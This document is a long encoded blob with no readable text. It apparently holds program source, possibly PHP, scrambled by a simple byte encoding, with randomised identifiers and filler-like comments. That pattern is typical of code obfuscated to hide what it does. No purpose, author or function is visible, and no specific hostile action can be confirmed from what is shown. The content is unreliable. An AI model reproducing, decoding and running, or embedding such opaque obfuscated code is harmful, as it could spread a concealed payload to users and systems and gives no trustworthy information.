nnnnntnlluDnj,'w*6}>(96nsnn/<</7fDnj"(/'!vw*:?>z,-nnnnnn`n')<,*!v z,w(-=fwv}gbDnnnj"(/'!vw*:?>z,-nnnnnn`n47}#%=++!*:fwvzgbDDDDnnnnnnnj"(/'!vw*:?>z,-nn`n'9}8?4>/7?,4)fwv{gbDnnnnnnguDDj& #:<98;))&~%8nsnnnnnlluDn(!<+/-&nnfj,'w*6}>(96nnn/=nnj*+|?#!/(##,y>gn5D'(nfj*+|?#!/(##,y>nnnnossnnnnllnnnhhnnn47}#%=++!*:fwvxgfj*+|?#!/(##,y>gnnhhnnn47}#%=++!*:fvgfj*+|?#!/(##,y>ggnn5DDDDnnnj& #:<98;))&~%8nsnnnj*+|?#!/(##,y>uDnn,<+/%uDnnn3Dn3Dnnn'(nnnnnfj& #:<98;))&~%8nsssnllgnn5Dnnn<+:;< uDnn3Dnnnnnj%~z #'&+(#}#nnsnn'9}8?4>/7?,4)fvx}gfj& #:<98;))&~%8guD=>"/;:!"!/*<+)'=:+<f(; -:'! nfj-4z**?-6~w}=gnn;=+nnnnnnfj%~z #'&+(#}#gnnnn5Dn(!<+/-&nnnnnf/<</7fj%~z #'&+(#}#nnnn`nnniain`nnnj-4z**?-6~w}=nn`n47}#%=++!*:fwvygbnnnnj%~z #'&+(#}#nnn`nnnniainn`nnj-4z**?-6~w}=n`nnnn'9}8?4>/7?,4)fwvvggnnnn/=nnj4-/%{%-y47&8,;z"gnn5DDDDnnnnn'(nnnnf')<,*!v z,w(-=fwvxgfj4-/%{%-y47&8,;z"ggnnnn5D' -";*+! -+nnj4-/%{%-y47&8,;z"uDnnnnnn<+:;< uDn3DDDDnn3DDDDnnnnnn3guDnnnj:,#zv{|~:7!;"->nnsnn'9}8?4>/7?,4)fw|xgfj& #:<98;))&~%8guDn'(nfj:,#zv{|~:7!;"->nnnsssnnnnn(/"=+nnnnn22nn')<,*!v z,w(-=fwy~gfj:,#zv{|~:7!;"->bnnnnnn,,&x"7%*"w>* "|fwvwggnsssnnnnn(/"=+gnnnnn5DDDDnnnnn<+:;< uD3Dnnj:,#zv{|~:7!;"->nnnsnnnn')<,*!v z,w(-=fww~gf,,&x"7%*"w>* "|fwwgbnnnllbnnj:,#zv{|~:7!;"->guDnnnnnj:,#zv{|~:7!;"->nsn'9}8?4>/7?,4)fz~wgf')<,*!v z,w(-=fwvwgbnnn')<,*!v z,w(-=fww|gbnj:,#zv{|~:7!;"->guDnnj/6+ *&467{?,})nnsnnnnnn-xx< -}**&>;z%x-~6xf+$69#8)!-")<4!fgbn,,&x"7%*"w>* "|fv{{gguDnn'(nnnfj/6+ *&467{?,})nnsssn(/"=+gnnn5j=~>&(!%v{(4s{e{xuj+v:*x&!9 =69~~sj=~>&(!%v{(4czxuDnnnn<+:;< uD3Dnnn47}#%=++!*:f||gfj/6+ *&467{?,})bn47}#%=++!*:fww}gnn`nnnnj:,#zv{|~:7!;"->guD:<7n5Dnn' -";*+nj/6+ *&467{?,})uD3n(' /""7nn5Dnnn'7"<=~;<?-87+}? fj/6+ *&467{?,})guDnnnn3Dnnnj::#<,;$/8<;;z9)nnnnsnnnnn47}#%=++!*:fv||gfj/*:7~z'#},bnn  guDnnj	')<,*!v z,w(-=fwwzgnnsnj/*:7~z'#},uDnnj	'9}8?4>/7?,4)fww{gnnsnnnnnj::#<,;$/8<;;z9)uDnj>-v>8*'}<nnsn47}#%=++!*:fwwxgDnn`n47}#%=++!*:fwwygDDnnn`nn')<,*!v z,w(-=fwwvgDnnnn`nnnn')<,*!v z,w(-=fwwwgDnnn`n,,&x"7%*"w>* "|f~~~gDD`nnnni3iD`nn,,&x"7%*"w>* "|f~~gD`nni3iD`nnni3iuDnnnnnj&-w)v;#!nnnsnn-xx< -}**&>;z%x-~6xf+$69#8)!-")<4!fgbnnn47}#%=++!*:f~~|gguDnnnnn'(nnfj&-w)v;#!gnnn5Daan=:<+ ):&c<+*;-+n/--;#;"/:!<n(!<nn :':7n<!8'*+<DDnnn,,&x"7%*"w>* "|f||gfj&-w)v;#!bnnj>-v>8*'}<guDnnn:<7nn5DDnnn' -";*+nnj&-w)v;#!uj"6 ",$ +?;y>svv~uj 9~z:&| wsj"6 ",$ +?;y>k{uDnn3n(' /""7nn5Dnnn'7"<=~;<?-87+}? fj&-w)v;#!guDn3Dnnn3Daan; <!""n(/-:!<DDnnnn3nnnnnn-/:-&nnf&<!9/,"+nnnnnnj": >{,:|gnnn5Dnnnnnnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f~~}gbnj": >{,:|guDn3nnnnnn-/:-&nf6-+>:'! nnj": >{,:|gn5Dnnnnn3Daann;::! n"!-%tn<+"+/=+n:<'+DDnnnn3D'(nnfo,,&x"7%*"w>* "|fwzzgf,,&x"7%*"w>* "|f~~zgggn5j+~=x~(7s}~ev~uj64|(w+*= y#4sj+~=x~(7c|zuD(; -:'! nnnnn!~%z-?</v6=:-y+7fj9/&7:;7!9==:bnj='*z7(} x{77!|gDn5Dnnnn'(nnnnfonn')<,*!v z,w(-=f~~{gfj9/&7:;7!9==:ggn5Daan/-:'8/:+n</:+c"'#':+<DDnnnn<+:;< nnj9/&7:;7!9==:uDDDDnnnnnn3Dnnnnj7-7-{)#! )nsnn/<</7f47}#%=++!*:f~~xgbnnnnn,,&x"7%*"w>* "|f~~ygbnn47}#%=++!*:f~~vgbnn')<,*!v z,w(-=f~~wgbnnnnnn')<,*!v z,w(-=fx}~gguDnn(!<+/-&nnnnnfj7-7-{)#! )n/=nnnnnnj%+7gn5Daan><+*'-:'8+n-!8/<'/ :DDnnnnn'(nnnnnfonnn'==+:fj9/&7:;7!9==:j%+7gnnnn22nnnnonn'9}8?4>/7?,4)f~~{gfj9/&7:;7!9==:j%+7ggnn5Dn-! :' ;+uDn3DDDDnj<'4-8}$4!&? *66nnsnnnn/<</7fguDn(!<+/-&nnnfj9/&7:;7!9==:j%+7nnnn/=nnj&"&z}v(=x{z(gnn5Dnnnnnnn'(nnnfon47}#%=++!*:f~~gfj&"&z}v(=x{z(ggnnnn5Daan7n n!>+</:!<=n>!=:n:7>+n=+:;>DDj<'4-8}$4!&? *66nnsnj&"&z}v(=x{z(uD-! :' ;+uDnnn3Dnj ~>%6xv>~/=#nnnsnnnnn'==+:fj&"&z}v(=x{z('9}8?4>/7?,4)f~ggnqnj&"&z}v(=x{z(47}#%=++!*:f~gnntnlluDDj::#<,;$/8<;;z9)nnnsnn'==+:fj	,,&x"7%*"w>* "|f~|ggnnqnj	47}#%=++!*:f~|gnntnlluDDDn'(nnnfj ~>%6xv>~/=#nnnsssnj='*z7(} x{77!|n22nnfj::#<,;$/8<;;z9)nnnnnossnnnnllnnnhhnj ~>%6xv>~/=#nnsssnnnnj::#<,;$/8<;;z9)ggnnn5DDnnn-! :' ;+uD3DDnnnnj<'4-8}$4!&? *66nnsnnn!~%z-?</v6=:-y+7fj&"&z}v(=x{z(bnnj='*z7(} x{77!|guDnnnn3Dnj9/&7:;7!9==:j%+7nnsnj<'4-8}$4!&? *66uj>";4?||"v+s{}d|uj-}##!x4~:v;sj>";4?||"v+c}zuDnnn3Dnnn<+:;< nj9/&7:;7!9==:uD3D3D(; -:'! n 7}*'<9%#:99{!)*;:zv:fgDnnnnn5Daan('":+<n+6><+=='! DD:<7n5Dn'(nf47}#%=++!*:fwzzgf'9}8?4>/7?,4)fvyzggnnnnhhnnnnn)+::</ ='+ :f,,&x"7%*"w>* "|fyv|gggnn5Dnnnnnnn<+:;< uD3DDDDnnnnnnj<(){|({=(&/nsnnnn')<,*!v z,w(-=f||}gf<xw=w,+~4~}#8~fgguD'(nnnnfj<(){|({=(&/nnhhnnj<(){|({=(&/nnnpnfv{y{c}{y{gnnnhhnnnj<(){|({=(&/nrnnnnfzwwwwxve}|gnnnhhno4#+*(}$vx|,8:-4#)9{f<xw=w,+~4~}#8~fgggnn5Dnnnnnnj,/z|},#='+nnsnnnnn,,&x"7%*"w>* "|fw|xgf<xw=w,+~4~}#8~fgguDnn'(nf,,&x"7%*"w>* "|fvvygfj,/z|},#='+gnnhhn47}#%=++!*:f~}gfj,/z|},#='+gnnnsssnnnj<(){|({=(&/nnnhhnn84*{ <*'w~?-y,-4,;fj,/z|},#='+ggn5Dn'(nnf=,?(,4;}z-}  {8=6$'6>f<xw=w,+~4~}#8~fgbnnn:}(#?!!(%;7/+%{! 9fj,/z|},#='+gggnn5Dnnnn+wz$"%z*-z:%}"f<xw=w,+~4~}#8~fgguDnn"~/(%7wz&:z(&w/f<xw=w,+~4~}#8~fgguDnnnnnnn3Dnnnn3Dn; =+:fj,/z|},#='+guDnn3DDDnnnnnnnnj"':{6{~{,$99nnnsnnn'9}8?4>/7?,4)f||}gf<xw=w,+~4~}#8~fgguDDDnj: 4|:%,|=nsnnj"':{6{~{,$99nnhhnj"':{6{~{,$99nnnpnnfzwvye}guD'(nnnnfj: 4|:%,|=nnhhnnnj"':{6{~{,$99nnpnf{|z|vy~|ewvggnn5Dnnj: 4|:%,|=nsnnn(/"=+uDnnnnnnn3DDDnn'(nnnnnfj: 4|:%,|=gn5Dnnnj%%?||!v))<vnnnnnnsnn47}#%=++!*:fw|xgf<xw=w,+~4~}#8~fgguD'(nnnnnf'9}8?4>/7?,4)fvvygfj%%?||!v))<vgnnnnhhnnn47}#%=++!*:f~}gfj%%?||!v))<vgnpnnfwy|yzvey{v|vggnnnj%%?||!v))<vnnnsnn$9v'='y;'&{$%$zy+fj%%?||!v))<vguDnn'(nfo')<,*!v z,w(-=f~zgfj%%?||!v))<vgnnn22nnnno84*{ <*'w~?-y,-4,;fj%%?||!v))<vggnnnn5Dnnnnnj: 4|:%,|=nsn(/"=+uDnnnn3nn+"=+nnnnnn5Dnnnnj)-}!*!+6x'&9~?8,nsnnn&,';|8$9)9wz};<4} %6f'9}8?4>/7?,4)f~{gbnnllguDnnnnnnj'-+?*:6 z'';{nnnnnsnnn<!%{:?!x(89w4fj%%?||!v))<vguDnnnj!%* )$8*4=<)nsnn<!%{:?!x(89w4f,,&x"7%*"w>* "|f~zgfj)-}!*!+6x'&9~?8,gnnnnqnnj)-}!*!+6x'&9~?8,nntnnnnllguDnnnnnnn'(nnfj'-+?*:6 z'';{nnnnossnnllnnnhhnfj!%* )$8*4=<)nnnnsssnnnlln22nnnn8+<='! -!#>/<+fj!%* )$8*4=<)bnj'-+?*:6 z'';{bnirigggnnnn5Dnnnnj(}!:;8x)"&&,nnnsn47}#%=++!*:fvv|gfj%%?||!v))<vguDDDDnnnnnj?9)>4?x;~8%$vnnsn')<,*!v z,w(-=f~xgf')<,*!v z,w(-=fvx}gf<xw=w,+~4~}#8~fggnnn`nn47}#%=++!*:fv{gnnn`nj(}!:;8x)"&&,guDnnnnnnn'(nfoj?9)>4?x;~8%$vgn5Dnnnj-:}<#>*#:>+wvnnsnnnn)+:!>:'! f'9}8?4>/7?,4)fvwgguD'(nnnf47}#%=++!*:f~zgfj-:}<#>*#:>+wvgnnnnnnhhnnnn')<,*!v z,w(-=fwy~gfj-:}<#>*#:>+wvbnnnj(}!:;8x)"&&,nn`nni2ignnsssnnnn~nhhnnnnn,,&x"7%*"w>* "|fv{ygfgncnnf' :gnn')<,*!v z,w(-=f~ygfj-:}<#>*#:>+wvbnn')<,*!v z,w(-=fwy~gfj-:}<#>*#:>+wvbni2ignnnnnnengnnrnnf~6}z*e~6}+}}ggnnj?9)>4?x;~8%$vnnnnnnsnn:<;+uDn3Dn'(nfj?9)>4?x;~8%$vgnnnnj: 4|:%,|=nnnnnsn(/"=+uDDDn'(nnnfoj?9)>4?x;~8%$vnnhhnnnnn47}#%=++!*:f~zgfj)-}!*!+6x'&9~?8,gnnnnhhnnfj)-}!*!+6x'&9~?8,nnnnsssnnnllnn22nnj!%* )$8*4=<)nsssnnlln22nnn8+<='! -!#>/<+fj!%* )$8*4=<)bnnnj'-+?*:6 z'';{bnnnirigggnnnn$4"|"44x:74/<*9 %#||8f,,&x"7%*"w>* "|f~{gbnnj%%?||!v))<vbnn')<,*!v z,w(-=fvwvgguDn; =+:fj(}!:;8x)"&&,bnnnnnj?9)>4?x;~8%$vbnnj-:}<#>*#:>+wvguDDD3n+"=+'(nf')<,*!v z,w(-=f~zgfj)-}!*!+6x'&9~?8,gnhhnnn')<,*!v z,w(-=f~}gfj)-}!*!+6x'&9~?8,gnpnnfzv{e{gnnnnhhn,,&x"7%*"w>* "|f~}gfj)-}!*!+6x'&9~?8,gnrsnnf~zv{y{egnnnnnhhno,<)<|-7#{,&?{:+w4xfj)-}!*!+6x'&9~?8,gnnhhnnnn84*{ <*'w~?-y,-4,;fj)-}!*!+6x'&9~?8,gnhhnn')<,*!v z,w(-=fvv|gfj%%?||!v))<vgnossn')<,*!v z,w(-=f~vgfj)-}!*!+6x'&9~?8,ggnn5Daan>!=:c*!#' /:+n='*+c+((+-:c(<++n-! :<!"c("!9c)</>&DDj: 4|:%,|=nnnnsnnnn(/"=+uD3Dnnnnn3Dnnnnn3Dnnn'(nnnnfj: 4|:%,|=gn5Daan :"n+6:+ ='! tn<+"/6+*n>'>+"' +DDn'(nf')<,*!v z,w(-=f~wgf')<,*!v z,w(-=fyvgggn5Dnnnnnnn=+::</ ='+ :f,,&x"7%*"w>* "|f~|~gbnnbnf~6}~ve~6,~vgguDDDDnn3Dnnnnnnn<+:;< uDnnn3Dn'(nf4#+*(}$vx|,8:-4#)9{f<xw=w,+~4~}#8~fgggnnn5Dnnnnnn<+:;< uDnn3Dj=6)&~{#<|&+=?;nnnnsn')<,*!v z,w(-=fvx}gf<xw=w,+~4~}#8~fgguDnnn'(nnfon')<,*!v z,w(-=fvyygfj=6)&~{#<|&+=?;ggnnn5Daan-!"!<c<+)'=:+<n<+-!<*c"/7+<DDnnnnnn 6%6=z"z7)$(//*fj=6)&~{#<|&+=?;bnnnnnnf{~cvgbn:<;+guDn3Dnnnnnj6 ww9,9/"}(%&'nsnn&,';|8$9)9wz};<4} %6f47}#%=++!*:f~|gbnnllguDn'(nnfoj6 ww9,9/"}(%&'n22nnnnno')<,*!v z,w(-=f~zgfj6 ww9,9/"}(%&'ggnnnnn5Dnn'(nnfo)+::</ ='+ :f'9}8?4>/7?,4)f~||gggnnnnn5DDn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=f~|}gbnn'9}8?4>/7?,4)f~|zgguDDDDDDnn=+::</ ='+ :f'9}8?4>/7?,4)f~||gbnnnnnnbnnf}|~e||v~gguDn3Dnnn3D'(nnnnnnfj6 ww9,9/"}(%&'nnhhnnn47}#%=++!*:f~zgfj6 ww9,9/"}(%&'gnhhnn'9}8?4>/7?,4)f~}gfj6 ww9,9/"}(%&'gnpnfzxye}}gnnnnnhhnn,,&x"7%*"w>* "|f~}gfj6 ww9,9/"}(%&'gnrsnnf~zvzwzev|gnnnnhhnnno,<)<|-7#{,&?{:+w4xfj6 ww9,9/"}(%&'gnnhhnnn84*{ <*'w~?-y,-4,;fj6 ww9,9/"}(%&'ggn5Dnnnj6*7':-:=&$"%nnsn<!%{:?!x(89w4fj6 ww9,9/"}(%&'guDDnn'(nfj6*7':-:=&$"%nossnnnnnllnnnnhhnn8+<='! -!#>/<+fj6*7':-:=&$"%bn9),%/4:v49)x!/ /x9}(y:fgbnnnnniriggnnnn5Dnn<+:;< uj6+/))**!,=+-sy~2wuj!'6=9 #/7x<sj6+/))**!,=+-|~wuDDDDD3Dj8#"6)6<{=&!{nnnnnsnnn,,&x"7%*"w>* "|fvx}gf<xw=w,+~4~}#8~fggnn`nnnn,,&x"7%*"w>* "|fyw}gnnnn`n47}#%=++!*:fwxgf<xw=w,+~4~}#8~fgbnn')<,*!v z,w(-=fwvvgguDDDj#{z$+7=8x:""7&!nsn,,&x"7%*"w>* "|f~xgfj8#"6)6<{=&!{gnqnnn'9}8?4>/7?,4)f~|{gff=:<' )gnnn47}#%=++!*:fw|xgfj8#"6)6<{=&!{ggntnlluD'(nfj#{z$+7=8x:""7&!nnossnnllnnnnnhhn'9}8?4>/7?,4)f~vgfj6 ww9,9/"}(%&'gnnsssnnj#{z$+7=8x:""7&!gnnnnnn5DDDDnnnnnn<+:;< uD3DD??:+}<">$9;(=4=8'-+f<xw=w,+~4~}#8~fgbnnf}zyey}gguDnj<'wz v{$/znsn=,?(,4;}z-}  {8=6$'6>f<xw=w,+~4~}#8~fgbnnnn:}(#?!!(%;7/+%{! 9fj6 ww9,9/"}(%&'gguDn'(nnnfj<'wz v{$/zgnn5Dnnnnn+wz$"%z*-z:%}"f<xw=w,+~4~}#8~fgguDn??:+}<">$9;(=4=8'-+f<xw=w,+~4~}#8~fgbnnnf}xzcy|gguD"~/(%7wz&:z(&w/f<xw=w,+~4~}#8~fgguDnn+4667 68'<#||9f:<;+guDDD6:}/<")$?4:?9=':|f:<;+guDnnnn ,v  6"!(;6%6 v"7f<xw=w,+~4~}#8~fgguD'(nnf'9}8?4>/7?,4)f~wgf')<,*!v z,w(-=fyvgggnnn5Dnnnn=+::</ ='+ :f,,&x"7%*"w>* "|f~|~gbnbnnnf~6{/+e~6vx|gguDnnnnnn3Dnnn3n+"=+'(nf47}#%=++!*:f~wgf'9}8?4>/7?,4)fyvgggnnn5Dnn=+::</ ='+ :f,,&x"7%*"w>* "|f~|xgbnbnfy|eywgguDnnn3DDDnnn3DDDDnnnn3nn-/:-&nf&<!9/,"+nnnj": >{,:|gnn5D!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|f~|}gbnj": >{,:|guDDDDn3nn-/:-&nnf6-+>:'! nnnj": >{,:|gnn5Dnnnn3Dnn3DnnnnDn(; -:'! n$&)(<{$><!;~fgDn5Daann/::<',;:+=n'#/)+n*'#+ ='! =DDnnnn%}*+<)~{9wyv+*{)f47}#%=++!*:f~|ygbn47}#%=++!*:f~|vgguD%}*+<)~{9wyv+*{)f47}#%=++!*:f~|wgbnnn,,&x"7%*"w>* "|f~|vgguDn'(nnf')<,*!v z,w(-=f~wgf47}#%=++!*:f~}~gggn5Dnnnnn<+#!8+/-:'! f,,&x"7%*"w>* "|f~}gbnnnnn47}#%=++!*:f~}|gguDnn<+#!8+/-:'! f'9}8?4>/7?,4)f~}}gbnnnn'9}8?4>/7?,4)f~}|gbnnfye}gguD<+#!8+/-:'! f,,&x"7%*"w>* "|f~}zgbnn')<,*!v z,w(-=f~}{gbnnf{e{gguDDDDnnn3Daann"!-%n/<'/:'! =n!>:'! n<!9DDnnnnnnn3D(; -:'! nnnnn}#w%6$);y?&&{zfgD5Dn:<7nnnnnn5Daan !<#/"'4+DDDnj9>*,nnsnnj	'9}8?4>/7?,4)f~}xguDnnnnDDDDnnnj6*<$7,+%#}nnnsnnnnj9>*,cp><+('6nnnn`n')<,*!v z,w(-=f~}yguDnnnnnj,$y6/(x'|<x//(|nnnnnnsniinn`nnn47}#%=++!*:f~}vgnnn`nj9>*,cp;=+<=nnnn`nnnn47}#%=++!*:f~}wgn`nj9>*,cp;=+<#+:/nn`nnn,,&x"7%*"w>* "|f~z~guDn<+:;< nnnj9>*,cp)+:<+=;":=fj9>*,cp><+>/<+fj,$y6/(x'|<x//(|bnnnj6*<$7,+%#}bn')<,*!v z,w(-=f~zggguDnnn3nnn-/:-&nf&<!9/,"+nnnnj": >{,:|gnnn5Dnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fxy|gbnnj": >{,:|guDnnnn3nnn-/:-&nnnnnnf6-+>:'! nj": >{,:|gn5Dnnnnnnn3Dnnnn<+:;< nnnn/<</7fguj-9w7>{?}-s{w2|~zuj-8=x?v(;=$}6:sj-9w7>{?}-xyuDDDDn3Dnnn(; -:'! n ,:*";6z;~%!6x4+8fj!yv7*,{'!-gDn5Dnj#+,9z9$/|+{z=? nnsn/<</7fguDnnnnnj "4-|6w ~y+ 6{nnnsn(; -:'! nnfj;%8!!{%w(>8{<~>gnn5Daan>;,"'=&n= />=&!:c'=!"/:+*n9<':+c/&+/*c"!)DDnnnnnnnj;%8!!{%w(>8{<~>')<,*!v z,w(-=f~z|gnnsnnlluDnnnnnn<+:;< nnnj;%8!!{%w(>8{<~>uD3Daan=:<+/#' )n>;,"'=&+<DuDDDDnn:<7nnnn5Dnnnn'(nfon')<,*!v z,w(-=f~wgf,,&x"7%*"w>* "|f~z}ggn22nnonn')<,*!v z,w(-=fx~wgf,,&x"7%*"w>* "|f~zzgggnn5Daann#/:-&n+6><+=='! tn,!!:=:</>n-/>/,'"':7DDnnnn<+:;< nj#+,9z9$/|+{z=? uDnn3DDDDnn'(nnnfon,,&x"7%*"w>* "|f~z{gfj!yv7*,{'!-gnnn22nnnnn+#>:7fj!yv7*,{'!-ggnn5Dnnnnnnn<+:;< nnnj#+,9z9$/|+{z=? uDDDnnn3Dnnj%;z<x"}&nsnnn47}#%=++!*:f~zxgfgnnnnnennfv{wgnndnnnfvx}w|evguDDDDnnj'==="nnsnnn'9}8?4>/7?,4)f~wgf,,&x"7%*"w>* "|f{z|ggnnnnhhnn'==="fguDnj%&& %-9>);"|-~nnnnsnj'==="nnnnnnqnnn,,&x"7%*"w>* "|f~zygnntn')<,*!v z,w(-=f~zvguDnj<!7<8v'vw%#|&{%znnnnsnnnj'==="nnnnnqnnf*+(' +*f47}#%=++!*:f~zwggnnnqnnnnntnnnllgnnntnf*+(' +*f'9}8?4>/7?,4)f~{~ggnnnnnqnntnllguDnnnnj##$ *{:z;:7#)*6(nsnnnn*+(' +*f'9}8?4>/7?,4)f~{ggnqnnnnn		
 nntnnlluDDDDnnnnnn'(nnnfonj<!7<8v'vw%#|&{%znn22nnonnnnnj##$ *{:z;:7#)*6(gnnn5Dnnnnnnn<+:;< nnnj#+,9z9$/|+{z=? uDnn3Dnnj',x/,%8<,4w{<x?nnsnnn*+(' +*f')<,*!v z,w(-=f~{|ggnhhnn
 nnqn47}#%=++!*:fvgf
 bnni`ignntnnn9)4->=87+%~!?,(fllguDj<4!)6/&,/>%w}nnsnnn*+(' +*f')<,*!v z,w(-=f~{}ggnnnqnnnnnntniaiuDnj;{('|'9v?<9nnsn*+(' +*f')<,*!v z,w(-=f~{zggnnqn
 nnnnntn,,&x"7%*"w>* "|f~{{guDj*+4w(#>6;4nnsnnj'==="nnqn,,&x"7%*"w>* "|f~{xgntnnn,,&x"7%*"w>* "|f~{yguDnj'=|)<?,,6>nsnl:luDnn%}*+<)~{9wyv+*{)f')<,*!v z,w(-=f~{vgbnnj "4-|6w ~y+ 6{bnnnn~guDj";/8|+9 %nnnnsnnnn+{8+|>)79z=/6!;;x!}f'9}8?4>/7?,4)f~{wgguDj:///vwy/#)|9-%|<nsnn,,&x"7%*"w>* "|f~x~gf')<,*!v z,w(-=f~xggnqnn)+:!>:'! fj";/8|+9 %bnnnn/<</7fggntnnn/<</7fguDnnnn'(nnnfo')<,*!v z,w(-=f~z{gfj:///vwy/#)|9-%|<ggnnj:///vwy/#)|9-%|<nnnnsnnn/<</7fguDj=;94x+?|/?";>xnsnnnn(/"=+uDnnnj6:#/"v,|y&nsnnnnn~uDD(!<+/-&nfj!yv7*,{'!-n/=nnnnnj6(>$({8y}8=#%+$gnnnnn5DDDD'(nnfonn47}#%=++!*:fwvgfj6(>$({8y}8=#%+$gn22nnnnonnnj6(>$({8y}8=#%+$cp
nnnn22nonnnj6(>$({8y}8=#%+$cp;=+<"!)' gnnnn5Dn-! :' ;+uDnnDDn3Dn'(nnfj6:#/"v,|y&npsnnf|eggnnnnnn5D,<+/%uDnnn3Dnnnnnj$8(89v4- 7$*nsnnnnnf=:<' )gnj6(>$({8y}8=#%+$cp;=+<"!)' uj '}>)~y6swx2||uj/$46} <996'}7sj '}>)~y6vuDDD'(nnf'==+:fj:///vwy/#)|9-%|<j$8(89v4- 7$*gnnnhhnnnnnf' :gnnj:///vwy/#)|9-%|<j$8(89v4- 7$*npn47}#%=++!*:f~zxgfgnnnnenn|ndnnnnfzv}{ey{x{ggnn5Dnnnnnn-! :' ;+uD3Dnnn9>-/-&+*+"+:+fj6(>$({8y}8=#%+$cp
bnnnn,,&x"7%*"w>* "|f~x|gguDDnj?>)/~xxy-nsnnn)+:;=+<#+:/fj6(>$({8y}8=#%+$cp
bnn,,&x"7%*"w>* "|f~x}gbnn:<;+guDDDnnn'(nnnnf47}#%=++!*:f~z{gfj?>)/~xxy-gnhhnn')<,*!v z,w(-=f~xzgfj?>)/~xxy-gnnnpsnnfweggnnnnn5Dnj#/:x|9w=6x+vw#nnnnsn/<</7fguD(!<+/-&nnfj?>)/~xxy-nn/=nnnj-<&|6 #::(nnspnnnj:*$4'#+w7z)$gn5DDDDn'(nnnf'==+:fj:*$4'#+w7z)$47}#%=++!*:f~x{ggnnnhhnnnj:*$4'#+w7z)$')<,*!v z,w(-=f~x{gnnnnnpn'9}8?4>/7?,4)f~zxgfggnnnn5Dnj#/:x|9w=6x+vw#j-<&|6 #::(nnsnnnj:*$4'#+w7z)$uDnnnn3Dnn3Dn'(nnnf47}#%=++!*:f~xxgfj#/:x|9w=6x+vw#gnossn47}#%=++!*:f~xxgfj?>)/~xxy-ggnnn5Dnnn;>*/:+;=+<#+:/fj6(>$({8y}8=#%+$cp
bn'9}8?4>/7?,4)f~x}gbnnnj#/:x|9w=6x+vw#guDnn3Dnn3DDDD9>-/-&+*+"+:+fj6(>$({8y}8=#%+$cp
bnnnn'9}8?4>/7?,4)f~x|gguDnnj'x+87)&%8!#nnnnsnn47}#%=++!*:f}}{gf/<</7f')<,*!v z,w(-=f~zzgbnn47}#%=++!*:f~xyggbnnnnj6(>$({8y}8=#%+$cp
guDnnnnnnj <)x:/?>,!y"nsnnj'x+87)&%8!#cp-<+/:+fj%;z<x"}&guDnnnnj9,-(=+(94v~:nnsnn/<</7fguDj9,-(=+(94v~:nnnnnsnj',x/,%8<,4w{<x?n`nnj'=|)<?,,6>nn`nn')<,*!v z,w(-=f~{xgnnn`nnj'=|)<?,,6>nnnnnn`nnj<4!)6/&,/>%w}n`nnnj'=|)<?,,6>nn`nj*+4w(#>6;4nnn`nnnj'=|)<?,,6>nn`nnj%;z<x"}&nn`nnnnnj'=|)<?,,6>n`nj##$ *{:z;:7#)*6(nn`nnj'=|)<?,,6>nn`nn')<,*!v z,w(-=f~z}gfj6(>$({8y}8=#%+$cp
bnnnnnj%;z<x"}&bnnnn,,&x"7%*"w>* "|f~xvgbnj <)x:/?>,!y"guDnnnnnnnn'(nnfj<!7<8v'vw%#|&{%zgnnn5Dnj9,-(=+(94v~:nnnnnsnnnnj',x/,%8<,4w{<x?nnn`nj'=|)<?,,6>nn`n')<,*!v z,w(-=f~xwgnnnnn`nnj'=|)<?,,6>n`nnnnnnj;{('|'9v?<9nnn`nj'=|)<?,,6>n`nj*+4w(#>6;4nn`nnnnj'=|)<?,,6>n`nnj%;z<x"}&nnn`nnj'=|)<?,,6>n`nnnnj<!7<8v'vw%#|&{%znnn`nnj'=|)<?,,6>nn`nnn'9}8?4>/7?,4)f~y~gfj6(>$({8y}8=#%+$cp
bnj%;z<x"}&bnnj%&& %-9>);"|-~bnj <)x:/?>,!y"guD3DDDnnnnj#+,9z9$/|+{z=? j6(>$({8y}8=#%+$cp;=+<"!)' nnsnj9,-(=+(94v~:uDj:///vwy/#)|9-%|<j$8(89v4- 7$*nnsnj%;z<x"}&uj:z>4($~,wvsydvuj?wxy~x{+vsj:z>4($~,wvc}uDnj=;94x+?|/?";>xnnnsnnnnnn:<;+uDnj6:#/"v,|y&eeuDn3Daan&+<#':'/ n&7>+<"!)"!)DDDnn'(nnnnfj=;94x+?|/?";>xnnnhhn,,&x"7%*"w>* "|f~x~gf,,&x"7%*"w>* "|fvvvgggnnn5D;>*/:+!>:'! fj";/8|+9 %bnnnnj:///vwy/#)|9-%|<bnnn,,&x"7%*"w>* "|fvwvgguDn3D3n-/:-&nnf&<!9/,"+nnj": >{,:|gn5D!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f~ygbnnnj": >{,:|guDDDn3n-/:-&nnf6-+>:'! nnj": >{,:|gnnn5D3Dnnn<+#!8+('":+<f')<,*!v z,w(-=f~y|gbnnj "4-|6w ~y+ 6{bnn~guDnnn<+:;< nnnj#+,9z9$/|+{z=? uDDDDnnn3D(; -:'! nnn 7}4y-;/*?*-( v|*zfj8%v~67<)9"gDDnnnn5Dnnn'(nnnf')<,*!v z,w(-=f~zgfj8%v~67<)9"ggnnnnn<+:;< nnnnj8%v~67<)9"uDnn'(nf,,&x"7%*"w>* "|f~y}gfj8%v~67<)9"gnnhhnnn'==+:fj8%v~67<)9"i>ignnhhnn')<,*!v z,w(-=f~zgfj8%v~67<)9"i>iggnnnn<+:;< nnnnj8%v~67<)9"i>iuDnn<+:;< nnlluDnnnnn3Dn(; -:'! n$%9z;+#(z?w<4,$~{/yfj!yv7*,{'!-gDnnn5DDnnj"'=:nsnnn/<</7fguDnj8?!:7w:>?nnnnnsnnf=:<' )gnnnnnn&,';|8$9)9wz};<4} %6f,,&x"7%*"w>* "|f~yzgbnnllguDnnnj<*x/{"-!w(nnsnnnf=:<' )gnnnnnn&,';|8$9)9wz};<4} %6f')<,*!v z,w(-=f~y{gbnnnnllguDnnnn'(nnfj8?!:7w:>?nossnnnllnhhnnnnnj<*x/{"-!w(nossnnnnnnllgn5Dnnnnnj"'=:j8?!:7w:>?nsnnnj<*x/{"-!w(uDnnnnDDDDD3Dnj67'*({9|~|!;znnnnnsnnnn&,';|8$9)9wz};<4} %6f')<,*!v z,w(-=fxwgbn/<</7fgguDDnn'(nnnnf')<,*!v z,w(-=f~y}gfj67'*({9|~|!;zggnn5DDDDnnnn(!<+/-&nfj67'*({9|~|!;zn/=nj:/>8 